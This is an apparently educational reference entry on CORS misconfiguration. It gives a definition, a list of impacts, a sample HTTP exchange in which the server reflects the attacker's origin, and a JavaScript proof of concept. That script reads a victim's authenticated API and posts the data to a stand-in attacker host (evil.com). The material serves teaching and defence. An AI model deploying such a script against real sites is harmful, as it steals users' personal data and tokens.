CORS Misconfiguration
HighCross-Origin Resource Sharing Misconfiguration
Definition
A CORS misconfiguration occurs when a server defines overly permissive Cross-Origin Resource Sharing policies, allowing malicious websites to read responses from the authenticated API. This can enable theft of the user's sensitive data from an attacker-controlled domain.
Impact
Theft of the authenticated user's personal dataReading responses from private APIs from a malicious domainExfiltration of tokens and credentialsUnauthorized access to account features
Examples
CORS with origin reflection
The server automatically reflects the attacker's Origin header and allows credentials. This lets any website read the responses of the user's authenticated API.
# The server reflects any origin into Access-Control-Allow-Origin
# Request from the attacker's domain:
GET /api/me HTTP/1.1
Host: victim.com
Origin: https://evil.com
Cookie: session=abc123
# Server response (vulnerable):
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victim@example.com", "token": "secret123"}Exploitation with JavaScript
From their malicious page, the attacker makes a request to the victim's API. Since CORS allows the origin and credentials, the browser includes the cookies and the attacker receives the response with the private data.
<!-- Attacker's page on evil.com -->
<script>
fetch('https://victim.com/api/me', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Send the stolen data to the attacker's server
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>